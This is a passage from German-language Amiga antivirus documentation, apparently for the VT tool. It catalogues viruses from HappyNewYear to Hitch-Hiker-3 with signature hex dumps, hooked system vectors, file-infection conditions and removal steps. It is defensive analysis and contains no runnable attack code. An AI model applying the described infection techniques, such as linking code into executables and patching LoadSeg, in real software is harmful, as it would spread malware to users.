  8818.              Linkvorgang
  8819.            - Bei Tests sind auch defekte Files entstanden
  8820.          Schaeden:
  8821.            - Wahrscheinlich mit BeginIo Ser.-Devs
  8822.              (Hab ich nicht ausgetestet, da ich keines dieser
  8823.               Devices verwende (vectorser))
  8824.          VT versucht die Vektoren im Speicher zurueckzusetzen. Fuer
  8825.          sinnvoller halte ich allerdings den Neustart von einer
  8826.          sauberen Antivirusdisk, da mein System mit dem Virusteil nicht
  8827.          sehr stabil war.
  8828.          VT versucht den Linkausbau bei einem ausfuehrbaren File.
  8829.  
  8830.    - HAPPY NEW YEAR BB   21.11.92
  8831.          Cool, im Programm DoIo  immer ab $7EC00
  8832.          Namensbegruendung: im BB ist zu lesen:
  8833.             2d2b2d20 48415050 59204e45 57205945 -+- HAPPY NEW YE
  8834.             4152202d 2b2d4ef9 0fc00000 43f90007 AR -+-N.....C...
  8835.  
  8836.          Vermehrung: kaum moeglich
  8837.          Begruendung: endlich hat es jemand geschafft, einen
  8838.          HunkReloc32 im BB unterzubringen.
  8839.                                        000003ec ................
  8840.             00000006 00000000 000000e4 000000dc ................
  8841.             000000bc 0000006e 0000003e 00000022 .......n...>..."
  8842.             00000000 000003f2 00000000 00000000 ................
  8843.          Dies hat zur Folge, dass der OrigDoIo an einer Stelle
  8844.          abgelegt wird, und sobald er gebraucht wird, an einer
  8845.          ganz anderen Stelle im BB gesucht wird. Die Folgen
  8846.          sind klar.
  8847.          Meine Empfehlung: Anfaenger uebt weiter am Joystick.
  8848.          Glaubt mir, da ist euer Erfolgserlebnis groesser.
  8849.  
  8850.    - HappyNewY.96 Inst.      Installer
  8851.          Typ A
  8852.          Bekannte Files:
  8853.          DE-TAG V0.63a      35712 Bytes  (ein BBS-Utility-Prg)
  8854.          DemoManiac V2.19  132352 Bytes  (ein DemoMaker ???)
  8855.          VT bietet Loeschen an.
  8856.  
  8857.    - HappyNewY.96 Inst.      Installer
  8858.          Typ B
  8859.          Bekannte Filenamen:
  8860.          - stoer4.exe  Laenge: 57644 Bytes
  8861.          - mfs-format  Laenge: 16448 Bytes
  8862.          VT2.79 muesste im Speicher den HappyNewYear finden, beim
  8863.          Filetest aber sich NICHT melden. Das koennte dann das
  8864.          fehlende Installerfile sein. Danke
  8865.          Ab VT2.80 sollte auch Typ B beim Filetest gefunden werden.
  8866.  
  8867.          Hinweis 16.05.96:
  8868.          Es ist ein File aufgetaucht.
  8869.          Name: stoer4.exe  Laenge: 57644 Bytes
  8870.          Dieses File wurde nach der 4EB9-Methode erstellt. In diesem
  8871.          File wird mit dem VT-BlockKetteTest ein HNY96 gefunden. An die
  8872.          entsprechende Stelle im File kann sich das Virusteil NICHT
  8873.          SELBST gelinkt haben. Es hat also jemand nachgeholfen.
  8874.          Ab VT2.84 sollte das Teil auch beim Filetest erkannt werden.
  8875.          VT bietet nur Loeschen an.
  8876.          Zwei Lehren:
  8877.          - 4EB9-Files sind HAEUFIG harmlos, ABER NICHT IMMER.
  8878.          - Versuchen Sie zur Sicherheit auf Disketten oder RAD: auch den
  8879.            BlockITest und den BlockKetteTest mit VT. Danke
  8880.          Hinweis 96-10-05:
  8881.          Es ist ein File aufgetaucht.
  8882.          Name: mfs-format ???  Laenge: 16448 Bytes
  8883.          In diesem File wird mit dem VT-BlockKetteTest ein HNY96 im
  8884.          3.Hunk (!!!) gefunden. An die entsprechende Stelle im File kann
  8885.          sich das Virusteil NICHT SELBST gelinkt haben. Es hat also jemand
  8886.          nachgeholfen. 
  8887.          Ab VT2.91 sollte das Teil auch beim Filetest erkannt werden.
  8888.          VT bietet nur Loeschen an.
  8889.  
  8890.    - HappyNewY.96 Inst.      Installer
  8891.          Typ C
  8892.          Hinweis 97-08-31:
  8893.          Es ist ein neues File aufgetaucht.
  8894.          Filename:
  8895.          - Mui_Patch  Laenge: 2696 Bytes
  8896.          Nach readme: Patch MUI 020+ version ...
  8897.          Decodiert ist zu lesen:
  8898.             62726172 79003c3e 20754e48 61505059 brary.<> uNHaPPY
  8899.             204e6561 52204e65 57205965 61522053  NeaR NeW YeaR S
  8900.             754d4d65 52202739 37203c3e 00228d58 uMMeR '97 <>.".X
  8901.          Entgegen des Textes handelt es sich aber nicht um HNY97, sondern
  8902.          um einen UNBRAUCHBAREN HNY96-Clone, da LoadSeg verbogen wird.
  8903.          Um eine Erkennung mit alten Antivirusroutinen zu verhindern,
  8904.          hat der Programmierer einige Bytes geaendert.
  8905.          Sein Pech - unser Glueck
  8906.          Jeder LoadSeg-Aufruf fuehrt IMMER zum GURU. Was ein Loeschen von
  8907.          2 Bytes (do) so alles ausmacht.
  8908.          VT bietet nur Loeschen an.
  8909.  
  8910.    - HNY96-BBSIntro-Inst     Installer
  8911.          Archivname:  CBS-ETIT.LZX
  8912.          Filename:    Eternity.exe  26736 Bytes
  8913.          Nach File-ID:
  8914.             BBSIntro for ETERNiTY
  8915.          Das HNY96-Teil haengt am 11. Hunk (!!!!). Da muss wohl jemand
  8916.          nachgeholfen haben. 
  8917.          VT bietet nur Loeschen an.
  8918.  
  8919.  
  8920.    - HappyNewY.96-Fucked      File  NICHT vermehrungsfaehig
  8921.          bekannter Filename: Idefix  Laenge: #27628 Bytes
  8922.          mit VT-vergleiche koennen Sie feststellen:
  8923.                 HNY96-Org                    HNY96-fucked
  8924.            48e7fffe 2c780004 H...,x.. : 48e74e75 2c780004 H.Nu,x..
  8925.                ^^^^                         ^^^^
  8926.            43fa01ee 337c4e75 C...3.Nu : 43fa01f0 337c4e75 C...3|Nu
  8927.            fe087025 4eaefdd8 ..p%N... : fe087025 4eaefdd8 ..p%N...
  8928.                 ;.....
  8929.            646f732e 6c696272 dos.libr : 4e71646f 732e6c69 Nqdos.li
  8930.            ^^^^^^^^                         ^^^^^^^^^
  8931.            61727900 3c3e2048 ary.<> H : 62726172 79003c3e brary.<>
  8932.            61707079 204e6577 appy New : 20467563 6b656420  Fucked
  8933.            20596561 72203936  Year 96 : 55702059 65617220 Up Year
  8934.            21203c3e 000003f2 ! <>.... : 39382120 000003f2 98! ....
  8935.          Der Anfaenger-Programmierer (besser im Sandkasten spielen)
  8936.          hat die dos.lib um 2 Bytes verschoben. Er hat dabei ueber-
  8937.          sehen, dass von dieser Stelle rueckwaerts das Virusteil
  8938.          ein RTS (4e75) im Code setzt. Im richtigen HNY96 wird dann
  8939.          zeitweise 48e7 ueberschrieben und bei Bedarf wieder zurueck-
  8940.          gesetzt. Dieses unbrauchbare Teil dagegen ueberschreibt
  8941.          fffe.
  8942.  
  8943.  
  8944.    - HappyNewY.96-LVirus      File  Link
  8945.          vgl. auch xcom-LVirus
  8946.          Typ A und Typ B
  8947.          ab KS2.04: ja   (Versionsabfrage auf mind. #37)
  8948.          Namensbegruendung:  im Linkteil ist uncodiert zu lesen:
  8949.             61727900 3c3e2048 61707079 204e6577 ary.<> Happy New
  8950.             20596561 72203936 21203c3e 000003f2  Year 96! <>....
  8951.          Verbogener Vektor: LoadSeg
  8952.          Resetfest: Nein
  8953.          Fileverlaengerung: 540 Bytes
  8954.          Link hinter den ersten Hunk.
  8955.          VT versucht Loadseg im Speicher zurueckzusetzen.
  8956.          VT versucht den Linkteil aus einem File auszubauen.
  8957.          Vermehrungsbedingungen:
  8958.            - File ist noch nicht verseucht (1 LW-Test)
  8959.            - Filename enthaelt nicht ".l" oder "-"
  8960.            - max. Filelaenge #124000 Bytes
  8961.            - min. Filelaenge #2400 Bytes
  8962.            - 3E9-Hunk wird gefunden
  8963.            - Disk validated
  8964.            - mind. 4 Block frei
  8965.            - RTS wird gefunden  ( max. loop $3F )
  8966.            - RTS wird ersetzt durch bra.s oder NOP
  8967.          Ueberspringt 3E8,3F0,3F1-Hunks usw. !!!!!
  8968.          Das Teil meldet sich nicht.
  8969.          Hinweis:
  8970.          Falls Ihre HD sehr verseucht ist, dann beginnen Sie bitte mit
  8971.          dem C-Verz. (File-Speicher-File). Das haeufige Neueinlesen
  8972.          wird dadurch geringer.
  8973.          Hinweis Dez.95:
  8974.          Es ist ein File rj_gs10.exe mit der Laenge 16888 Bytes aufge-
  8975.          taucht. Es handelt sich um ein Archiv (selbstentpackend Lh.SFX),
  8976.          das angeblich BBS-Utilities enthaelt. Entpacken Sie das Archiv
  8977.          im Filerequester von VT (Sp-File-Sp) und Sie werden danach ein
  8978.          HNY96 verseuchtes File finden.
  8979.          Hinweis 19.04.96 nach Telephonanruf:
  8980.          Der Hintergrundchecker in VT findet immer wieder den HappyNew-
  8981.          Year96 im Speicher. Nach dem Loeschen im Speicher taucht er
  8982.          NICHT mehr auf bis zum NAECHSTEN Reset. Der Filetest mit VT und
  8983.          anderen Antivirusprogrammen verlaeuft immer negativ. Loesung:
  8984.          In den Rigid-Bereich wurde ein FastFileSystem eingespielt, das
  8985.          mit dem HNY96 verseucht war. Alle Filetests MUSSTEN deshalb
  8986.          negativ verlaufen. Untersuchen Sie deshalb bitte ab und zu auch
  8987.          mit VT den Rigid-Bereich Ihrer Festplatte.
  8988.               - z.Zyl
  8989.               - phys. 0
  8990.               - gewuenschte Festplatte
  8991.               - mit Cursortastem BIS ZUM ENDE des Rigid-Bereichs durch-
  8992.                 blaettern.
  8993.          Ich bedanke mich bei dem genervten User, der Zeit UND auch
  8994.          VIEL Geld (Fernzone) geopfert hat, bis wir gemeinsam die Loesung
  8995.          gefunden haben.
  8996.          Dieser Vorgang ist AUCH auf ANDERE Viren anwendbar !!!!!
  8997.  
  8998.    - HappyNewY.96-Opt-Vir.      File  Link
  8999.          Fileverlaengerung: 528 Bytes
  9000.          68000: GURU, da Abfrage ob File schon verseucht, auf
  9001.                 ungerader Adresse.
  9002.          Einige Befehle wurden veraendert.
  9003.          Rest siehe oben bei HNY96
  9004.  
  9005.    - HNY96-rj_gs10-LHSFX
  9006.          ein selbstentpackendes Archiv mit HNY96, der aber NICHT
  9007.          automatisch gestartet wird nach dem Entpacken !!!!
  9008.          Laenge: 16888 Bytes oder 16404
  9009.          Sie haetten das Teil auch gefunden mit:
  9010.          VT/Prefs/Seite2/entpacke FileArchive nach RAD:
  9011.          VT haette das Teil nach RAD: entpackt und danach beim Test
  9012.          der RAD: Das Virusteil gefunden. Da aber die Entpackfunktion
  9013.          wahrscheinlich nicht immer eingeschaltet wird, habe ich ver-
  9014.          sucht zusaetzliche Sicherheit zu schaffen.
  9015.  
  9016.    - HappyNewY.97-LVirus      File  Link
  9017.          ab KS2.04: ja   (Versionsabfrage auf mind. #37)
  9018.          Namensbegruendung:  im Linkteil ist uncodiert zu lesen:  
  9019.             4a1866f4 61184cdf 7fff4e75 48617070 J.f.a.L..NuHapp
  9020.             79204e65 77205965 61722039 37212c6d y New Year 97!,m
  9021.          Verbogener Vektor: FilePart
  9022.          Veraenderter Vektor: LastAlert  $80000FFE
  9023.          Resetfest: Nein
  9024.          Fileverlaengerung: 628 Bytes
  9025.          Link hinter den ersten Hunk.
  9026.          VT versucht FilePart im Speicher zurueckzusetzen.
  9027.          VT versucht den Linkteil aus einem File auszubauen.
  9028.          Vermehrungsbedingungen:
  9029.            - File ausfuehrbar ($3F3)
  9030.            - 3E9 wird mit Schleife gefunden
  9031.            - File ist noch nicht verseucht HNY96 oder HNY97
  9032.            - Filename enthaelt nicht "." oder "-"
  9033.            - max. Filelaenge #150000 Bytes
  9034.            - min. Filelaenge #2000 Bytes
  9035.            - Disk validated
  9036.            - Medium hat mind. #4000 Blocks (also keine Disk)
  9037.            - versucht FileDate zu retten
  9038.            - RTS wird gefunden  ( max. loop $3F )
  9039.            - RTS wird ersetzt durch bra.s oder NOP
  9040.          Ueberspringt 3E8,3F0,3F1-Hunks usw. !!!!!
  9041.          Das Teil meldet sich nicht.
  9042.          Hinweis:
  9043.          Falls Ihre HD sehr verseucht ist, dann beginnen Sie bitte mit
  9044.          dem C-Verz. (File-Speicher-File). Das haeufige Neueinlesen
  9045.          wird dadurch geringer.
  9046.  
  9047.  
  9048.      - HappyNewY.98  Virus   BB und File-Link
  9049.          ab KS2.04: ja   (Versionsabfrage auf mind. #37)
  9050.          Namensbegruendung:  im Linkteil ist uncodiert zu lesen:   
  9051.             74756974 646f732e 6c696272 61727900 tuitdos.library.
  9052.             3c3e2048 61707079 204e6577 20596561 <> Happy New Yea
  9053.             72203938 203c3e00 000a0000 00000000 r 98 <>.........
  9054.          Verbogene Vektoren: LoadSeg und DoIo
  9055.          Resetfest: Nein
  9056.          Cache-Problem: Ja
  9057.          Fileverlaengerung: #920 Bytes
  9058.          Link hinter den ersten Hunk oder als Bootblock
  9059.          VT versucht Loadseg und DoIo im Speicher zurueckzusetzen.
  9060.          VT versucht den Linkteil aus einem File auszubauen.
  9061.          Schreiben Sie mit Install einen neuen BB.
  9062.          Vermehrungsbedingungen fuer BB:
  9063.            - Block 0 wird vom User mit DoIo gelesen
  9064.            - DOS0 oder 1 mit expansion.lib (Pruefsumme) wird gefunden
  9065.            - Fehler: nach meiner Meinung fehlt der Update-Befehl
  9066.            - Fordert trackdisk.device NICHT !!!!
  9067.          Vermehrungsbedingungen fuer File-Link:
  9068.            - File ist noch nicht verseucht (98-Test)
  9069.            - max. Filelaenge #600000 Bytes
  9070.            - min. Filelaenge #2800 Bytes
  9071.            - 3E9-Hunk wird mit Schleife gefunden
  9072.            - Disk validated
  9073.            - mind. 4 Block frei
  9074.            - RTS wird gefunden  ( max. loop $3F )
  9075.            - RTS wird ersetzt durch bra.s oder NOP (wenn RTS genau am
  9076.              Ende des 1.Hunks war)
  9077.          Ueberspringt 3E8,3F0,3F1-Hunks usw. !!!!!
  9078.          Das Teil meldet sich nicht.
  9079.          Hinweis:
  9080.          Es sind bei Tests auch defekte Files entstanden.
  9081.          Hinweis2:
  9082.          Bitte fertigen Sie fuer VT unbedingt eine Bootdisk. Danke
  9083.  
  9084.  
  9085.    - HARDEX VIRUS   Disk-Val.   SADDAM-Clone  s.u.
  9086.  
  9087.    - HardSpeeder  File   s.o. bei FileGhost
  9088.              
  9089.    - HardSpeeder2  File   s.o. bei FileGhost2
  9090.  
  9091.    - Hauke  BB   Byte-BanditClone   s.o.
  9092.          Text geaendert: Hauke Jean Marc    usw.
  9093.  
  9094.    - Haukeexterminator I   BB   Disk-DoctorClone  s.o.
  9095.          Text geaendert: Haukeexterminator I     usw.
  9096.  
  9097.    - HD-SPEEDUP-Instal.   File
  9098.          Laenge gepackt:  6376 Bytes
  9099.          Laenge entpackt: 6252 Bytes
  9100.          KEINE verbogenen Vektoren
  9101.          Das File kann SICH SELBST NICHT vermehren.
  9102.          Laut Doc. soll es sich um einen Festplattenbeschleuniger
  9103.          handeln.
  9104.          Im entpackten File ist zu lesen:
  9105.             00007379 733a732f 73746172 7475702d ..sys:s/startup-
  9106.             73657175 656e6365 00007379 733a732f sequence..sys:s/
  9107.             48647370 65656475 702e7072 65667300 Hdspeedup.prefs.
  9108.             7379733a 732f7761 69740000 7379733a sys:s/wait..sys:
  9109.             732f4864 73706565 6475702e 70726566 s/Hdspeedup.pref
  9110.             7320233f 2f233f0a 7379733a 732f7761 s #?/#?.sys:s/wa
  9111.             69742031 3030300a 000003f3 00000000 it 1000.........
  9112.               ;.......
  9113.             756d6265 720a0000 000003f2 434f4e3a umber.......CON:
  9114.             302f302f 3634302f 3130302f 48442053 0/0/640/100/HD S
  9115.             50454544 55502056 312e3000 00000000 PEEDUP V1.0.....
  9116.        Ablauf:
  9117.          Im File sind zwei Files enthalten. Diese werden nach sys:s
  9118.          geschrieben.
  9119.          -wait (ungepackt) Ein Befehl, der auch im C-Verzeichnis vor-
  9120.          kommt.
  9121.          -Hdspeedup.prefs  gepackt: 4192   ungepackt: 6124
  9122.          Ein Befehl, der mit dem Namen delete auch im C-Verzeichnis
  9123.          vorkommt.
  9124.          Die startup-sequence wird neu geschrieben. Laenge bei mir
  9125.          immer #44 Bytes.  Inhalt:
  9126.              sys:s/Hdspeedup.prefs #?/#?
  9127.              sys:s/wait 1000
  9128.          Die Original-Startup geht also verloren. Bitte denken Sie
  9129.          ueber eine Kopie Ihrer startup-sequence mit anderem Namen
  9130.          in s nach.
  9131.          Laut Doc. soll ein Reset danach ausgefuehrt werden. Durch
  9132.          die startup-seq. wuerde dann die Loeschfunktion aufgerufen.
  9133.          Falls VT dieses Teil findet:
  9134.          - loeschen Sie bitte auch: sys:s/wait
  9135.                                     sys:s/Hdspeedup.prefs
  9136.                                     sys:s/startup-sequence
  9137.  
  9138.    - HDprotect-Trojan    Zerstoerung  
  9139.          siehe bei LURAD-Trojan
  9140.  
  9141.    - HEIL Virus BB
  9142.          Cool immer $7C070
  9143.          immer ab $7C000
  9144.          Bei mir mit KS2.04 nach Reset kein neuboot von Disk.
  9145.          Unter KS1.3 werden nach dem Reset 2 Interrupts installiert.
  9146.             Nr. 3 = Ports = $7C1C6 = SS.install
  9147.             Nr. 5 = VERTB = $7C1E8 = SS.greets
  9148.          VT entfernt beim loeschen die Namen und setzt die Codezeiger
  9149.             auf 0 mit RemIntServer. Also keine Gefahr mehr. vgl. VT =
  9150.             Listen = IntVec
  9151.          Sobald die Zaehlzelle den Wert #$500 erreicht hat wird eine
  9152.          Graphikroutine angesprungen:
  9153.          schwarzer Hintergrund, helle Schrift
  9154.          Hakenkreuz,SS-Rune,Hakenkreuz und dann
  9155.             your computer is infected by SS-Virus!
  9156.          Danach ist ein Reset notwendig, da das VirusPrg. sich in einer
  9157.          Endlosschleife befindet.
  9158.          Der BB ist codiert mit eori.l #"HEIL",(a0)+
  9159.          Von der Definition handelt es sich nicht um einen BB-Virus,
  9160.          da keine Vermehrungsroutine gefunden wurde.
  9161.          siehe auch MOSH, SS-Virus
  9162.  
  9163.  
  9164.    - Hilly  KickTag, KickCheckSum, Kick1.2
  9165.          DoIo im Prg mit absolutem ROMeinsprung
  9166.          Test auf spezielle Kickstartversion (patched bei $FC0090)
  9167.          Falls vorhanden kein Virusaufbau.
  9168.          Fordert trackdisk.device nicht an, deshalb koennen Schreib-
  9169.          zugriffe auf die Festplatte erfolgen !!
  9170.          Lage im Speicher: immer ab $7f300 (ResStruc.)
  9171.          Vermehrung: ueber BB
  9172.          sonst keine Routine gefunden (keine Graphik usw.)
  9173.  
  9174.    - Hireling Protector V1.0     anderer Name: Charlie Braun
  9175.          ForpibClone  s.o.
  9176.          nur anderer Text
  9177.  
  9178.    - Hitch-Hiker-Virus     Link
  9179.          Fileverlaengerung: 1692-1752 Bytes in Abhaengigkeit von $DFF007
  9180.          Ab KS 2.04
  9181.          Verbogene Vektoren LoadSeg, Write
  9182.          Nicht Resetfest
  9183.          Das Teil meldet sich nicht.
  9184.          Decodiert ist im Linkteil zu lesen:
  9185.             62726172 79005468 65204869 7463682d brary.The Hitch-
  9186.             48696b65 720a4765 6e657261 74696f6e Hiker.Generation
  9187.             3a203030 30303030 3033436f 70796e75 : 00000003Copynu
  9188.             6d626572 3a203030 30303030 3036202d mber: 00000006 -
  9189.             20566572 73696f6e 20312e31 300a5468  Version 1.10.Th
  9190.             616e6b73 20666f72 20746865 20526964 anks for the Rid
  9191.             652c204d 69737465 72212121 00000000 e, Mister!!!....
  9192.          Einbau im Speicher:
  9193.          LastAlert (202(a6)) wird auf $ABBAFAB4 ueberprueft. Falls ja Ende
  9194.          LoadSeg und Write wird verbogen.
  9195.          Im Dos.lib-Header wird der negative Offset auf 0 und der
  9196.          positive Offset auf $2a gesetzt. Zuletzt wird die Pruefsumme
  9197.          der DosLib geaendert.
  9198.          VT sollte in Tools/Systemtest ausgeben:
  9199.          NEG. Offset = 0  Virus ???
  9200.          Ich empfehle Ihnen deshalb einen KReset auszufuehren, da
  9201.          die Originalwerte fuer Neg. u. Pos. Offset vom Linkteil nicht
  9202.          gerettet werden und deshalb nicht zurueckgeschrieben werden
  9203.          koennen. LoadSeg und Write sollte VT zuruecksetzen.
  9204.          Link an File hinter 1.Hunk:
  9205.          Speichermedium validated und mind. #10 Blocks frei
  9206.          File ausfuehrbar (3F3)
  9207.          CodeHunk (3E9) wird gefunden
  9208.          Filename enthaelt nicht "." oder "-"
  9209.          move.l 4,a6 (6 Bytes) oder move.l 4.w,a6 (4 Bytes) wird im
  9210.          1.Hunks gefunden.
  9211.          Der Abstand von diesem Punkt zum Originalende des 1. Hunks
  9212.          ist nicht groesser als $7FFF.
  9213.          Falls diese Bedingungen zutreffen, wird der move.l 4-Befehl
  9214.          durch einen BSR-Befehl ($6100uvwx) ersetzt. Falls der Original-
  9215.          Befehl sechs Bytes lang war, wird noch ein NOP gesetzt, um die
  9216.          Laenge anzugleichen. Es koennen auch MEHRERE Spruenge erzeugt
  9217.          werden.
  9218.          VT versucht beim Ausbau move.l und move.w in Abhaengigkeit von
  9219.          gefundenem NOP zu setzen.
  9220.          Mehrfach-Links an ein File konnten NICHT erzeugt werden.
  9221.  
  9222.    - Hitch-Hiker-2-Inst.     File
  9223.          Bekannter Filename:  KillHitcher
  9224.          Bekannte Filelaenge: 3000 Bytes
  9225.          Ab KS 2.04
  9226.          Keine verbogenen Vektoren !!!!!
  9227.          Nicht Resetfest
  9228.          Uncodiert ist am Fileende zu lesen:
  9229.             79002843 6865636b 696e6720 666f7220 y.(Checking for
  9230.             48697463 682d4869 6b657220 312e3130 Hitch-Hiker 1.10
  9231.             2f322e30 312e2e2e 2e2e0a06 446f6e65 /2.01.......Done 
  9232.          Decodiert ist aber in diesem File zu lesen: 
  9233.                                            496e               In
  9234.             7374616c 6c657220 76312e30 20627920 staller v1.0 by
  9235.             556e6974 65642046 6f726365 5300633a United ForceS.c:
  9236.             6c6f6164 77620000 633a6c69 73740000 loadwb..c:list..
  9237.             633a6469 7200                       c:dir.
  9238.          Ablauf des Linkvorgangs:
  9239.          LastAlert (202(a6)) wird auf $ABBAFAB4 und $BADC0DED ueberprueft.
  9240.          Falls ja Ende .
  9241.          Textausgabe im cli: Checking for ...
  9242.          Also ein Taeuschungsversuch.
  9243.          In Wirklichkeit wird nach den Files c:loadwb usw. (s.o.) gesucht.
  9244.          Hinter den 1. Hunk dieser drei Files wird ein HH2 mit der Laenge
  9245.          1880 Bytes gelinkt. Da loadwb in fast jeder startup-seq. vorkommt,
  9246.          wird das Teil bei jedem Reset neu im Speicher verankert.
  9247.          
  9248.    - Hitch-Hiker-2-Virus     Link
  9249.          Bekannte Archive:
  9250.          DMS 2.40 Update
  9251.          DeluxeGalaga   VersionsNr. unbekannt
  9252.          Fileverlaengerung: 1848-1908 Bytes in Abhaengigkeit von $DFF007
  9253.          Ab KS 2.04
  9254.          Verbogene Vektoren LoadSeg, Write
  9255.          Geaendert: LastAlert $BADC0DED
  9256.          Nicht Resetfest
  9257.          Das Teil meldet sich nicht.
  9258.          Codierung in Abhaengigkeit von $DFF007
  9259.          Decodiert ist im Linkteil zu lesen:  
  9260.             54686520 48697463 682d4869 6b65720a The Hitch-Hiker.
  9261.             47656e65 72617469 6f6e3a20 30303030 Generation: 0000
  9262.             30313233 0a2d2056 65727369 6f6e2032 0123.- Version 2
  9263.             2e30310a 0a0a5468 616e6b73 20666f72 .01...Thanks for
  9264.             20746865 20526964 652c204d 69737465  the Ride, Miste
  9265.             7221210a 00000000                   r!!.....
  9266.          Einbau im Speicher:
  9267.          LastAlert (202(a6)) wird auf $ABBAFAB4 und $BADC0DED ueberprueft.
  9268.          Falls ja -> Ende .  LoadSeg und Write wird verbogen. in LastAlert
  9269.          wird BADC0DED geschrieben.
  9270.          Link an File hinter 1.Hunk:
  9271.          Speichermedium validated und mind. #10 Blocks frei
  9272.          File ausfuehrbar (3F3)
  9273.          CodeHunk (3E9) wird gefunden
  9274.          Bei Filenamen KEIN Test auf bestimmte Buchstaben
  9275.          Es wurde im Viruscode zwar eine Laengenbegrenzung gefunden, aber
  9276.          diese Grenze wurde auf 68040 MEHRFACH ueberlaufen bei Test-Ver-
  9277.          mehrungen.
  9278.          move.l 4,a6 (6 Bytes), move.l 4.w,a6 (4 Bytes) oder RTS wird im
  9279.          1.Hunks gefunden.
  9280.          Der Abstand von diesem Punkt zum Originalende des 1. Hunks
  9281.          ist nicht groesser als $7FFF (bei move) oder $7F (bei RTS).
  9282.          Falls diese Bedingungen zutreffen, wird der move.l 4-Befehl
  9283.          durch einen BSR-Befehl ($6100uvwx) ersetzt. Falls der Original-
  9284.          Befehl sechs Bytes lang war, wird noch ein NOP gesetzt, um die
  9285.          Laenge anzugleichen. Der RTS-Befehl wird durch einen BRA.s-Befehl
  9286.          ($60uv) ersetzt.
  9287.          Es koennen auch MEHRERE Spruenge erzeugt werden. 
  9288.          VT versucht beim Ausbau move.l und move.w in Abhaengigkeit von
  9289.          gefundenem NOP zu setzen.
  9290.          Der BRA.s-Befehl sollte von VT durch ein RTS ersetzt werden
  9291.          (auch mehrfach).
  9292.          Mehrfach-Links an ein File konnten NICHT erzeugt werden.
  9293.          Hinweis 1: Bei Testverseuchungen sind AUCH defekte Files ent-
  9294.          standen. VT sollte den Ausbauversuch abbrechen und nur noch
  9295.          Loeschen anbieten.
  9296.          Hinweis 2: Falls Ihre Festplatte sehr verseucht ist, gehen Sie
  9297.          bitte in Sp->File->Sp, waehlen ein Unterverzeichnis (z.B. c)
  9298.          und klicken dann auf DirFTest. Gehen Sie danach weitere Unter-
  9299.          verz. (libs usw.) durch.
  9300.  
  9301.    - Hitch-Hiker-3-Inst.     File
  9302.          Bekannter Filename:  PatchHH
  9303.          Bekannte Filelaenge: 4148 Bytes
  9304.          Ab KS 2.04
  9305.          Keine verbogenen Vektoren !!!!!
  9306.          Nicht Resetfest
  9307.          Soll laut File-ID vor HH schuetzen.
  9308.          Uncodiert ist im File zu lesen:
  9309.             61746368 6564204c 61737441 6c657274 atched LastAlert
  9310.             28292e2e 2e2e2e2e 0a3e4e6f 77207072 ().......>Now pr
  9311.             6576656e 74696e67 20746861 74204869 eventing that Hi
  9312.             7463682d 48696b65 7220312e 31302f32 tch-Hiker 1.10/2
  9313.             2e30312f 332e3030 20626563 6f6d6573 .01/3.00 becomes
  9314.          Decodiert ist aber in diesem File zu lesen:
  9315.                                   496e 7374616c           Instal
  9316.             6c657220 76312e31 20627920 556e6974 ler v1.1 by Unit
  9317.             65642046 6f726365 5300633a 6c6f6164 ed ForceS.c:load
  9318.             77620000 633a6c69 73740000 633a6469 wb..c:list..c:di
  9319.             7200                                r.
  9320.          Ablauf des Linkvorgangs:
  9321.          Nach LastAlert (202(a6)) wird $ABBAFAB4 geschrieben.
  9322.          Textausgabe im cli: Patched LastAlert ...
  9323.          Also ein Taeuschungsversuch.
  9324.          In Wirklichkeit wird nach den Files c:loadwb usw. (s.o.) gesucht.
  9325.          Hinter den 1. Hunk dieser drei Files wird ein HH3 mit der Laenge
  9326.          3040 Bytes gelinkt. Da loadwb in fast jeder startup-seq. vorkommt,
  9327.          wird das Teil bei jedem Reset neu im Speicher verankert.
  9328.          
  9329.    - Hitch-Hiker-3-Virus     Link
  9330.          Fileverlaengerung: 3000-3060 Bytes in Abhaengigkeit von $DFF007
  9331.          Ab KS 2.04
  9332.          Verbogene Vektoren LoadSeg, Write
  9333.          Geaendert: LastAlert $FAB4FAB4
  9334.          Nicht Resetfest
  9335.          Das Teil meldet sich nicht.
  9336.          Codierung in Abhaengigkeit von $DFF007
  9337.          Ausserdem wird in Abhaengigkeit von $DFF006 und $DFF007 der
  9338.          Viruskopf staendig geaendert (d0-d7,a0-a5,+Muell). Das ist
  9339.          neu und erschwert die Erkennung etwas.
  9340.          Decodiert ist im Linkteil zu lesen:
  9341.                                        00005345 ..............SE
  9342.             5450494e 53544e45 54504e45 5453433a TPINSTNETPNETSC:
  9343.             4c6f6164 5742000a 646f732e 6c696272 LoadWB..dos.libr
  9344.             61727900 0a0a5468 65204869 7463682d ary...The Hitch-
  9345.             48696b65 720a4765 6e657261 74696f6e Hiker.Generation
  9346.             3a203030 30303033 30330a2d 20566572 : 00000303.- Ver
  9347.             73696f6e 20332e30 300a4c61 73742069 sion 3.00.Last i
  9348.          Einbau im Speicher:
  9349.          LastAlert (202(a6)) wird auf $FAB4FAB4 ueberprueft.
  9350.          Falls ja -> Ende .  LoadSeg und Write wird verbogen. in LastAlert
  9351.          soll FAB4FAB4 geschrieben werden (bei mir nicht). Vorrangig
  9352.          soll c:loadwb (s.o.) verseucht werden. Ausserdem wird auf
  9353.          bestimmte files setp(atch) siehe oben usw. geprueft.
  9354.          Link an File hinter 1.Hunk:
  9355.          Speichermedium validated und mind. #10 Blocks frei
  9356.          File ausfuehrbar (3F3)
  9357.          CodeHunk (3E9) wird gefunden
  9358.          Bei Filenamen KEIN Test auf bestimmte Buchstaben
  9359.          Es wurde im Viruscode zwar eine Laengenbegrenzung gefunden, aber
  9360.          diese Grenze wurde auf 68040 MEHRFACH ueberlaufen bei Test-Ver-
  9361.          mehrungen.
  9362.          move.l 4,a6 (6 Bytes), move.l 4.w,a6 (4 Bytes) oder RTS wird im
  9363.          1.Hunks gefunden.
  9364.          Der Abstand von diesem Punkt zum Originalende des 1. Hunks
  9365.          ist nicht groesser als $7FFF (bei move) oder $7F (bei RTS).
  9366.          Falls diese Bedingungen zutreffen, wird der move.l 4-Befehl
  9367.          durch einen BSR-Befehl ($6100uvwx) ersetzt. Falls der Original-
  9368.          Befehl sechs Bytes lang war, wird noch ein NOP gesetzt, um die
  9369.          Laenge anzugleichen. Der RTS-Befehl wird durch einen BRA.s-Befehl
  9370.          ($60uv) ersetzt.
  9371.          Es koennen auch MEHRERE Spruenge erzeugt werden. 
  9372.          VT versucht beim Ausbau move.l und move.w in Abhaengigkeit von
  9373.          gefundenem NOP zu setzen.
  9374.          Der BRA.s-Befehl sollte von VT durch ein RTS ersetzt werden
  9375.          (auch mehrfach).
  9376.          Mehrfach-Links an ein File konnten NICHT erzeugt werden.
